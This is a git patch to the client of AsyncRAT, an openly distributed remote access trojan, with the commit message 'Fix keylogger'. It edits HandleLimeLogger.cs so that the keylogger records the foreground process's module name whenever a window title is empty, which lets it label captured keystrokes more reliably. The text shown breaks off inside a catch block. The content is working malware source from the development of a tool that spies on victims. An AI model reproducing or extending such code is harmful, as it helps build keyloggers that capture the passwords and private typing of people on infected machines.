From 1dd3e2e9f3dc954fbf783a704b345bba9f3acffc Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Sun, 2 Jun 2019 08:31:06 +0300 Subject: [PATCH] Fix keylogger --- AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs b/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs index 098b9f7..9c38d49 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs @@ -157,8 +157,11 @@ namespace Client.Handle_Packet IntPtr hwnd = GetForegroundWindow(); GetWindowThreadProcessId(hwnd, out uint pid); Process p = Process.GetProcessById((int)pid); - CurrentActiveWindowTitle = p.MainWindowTitle; - return p.MainWindowTitle; + string title = p.MainWindowTitle; + if (string.IsNullOrWhiteSpace(title)) + title = p.MainModule.ModuleName; + CurrentActiveWindowTitle = title; + return title; } catch (Exception) {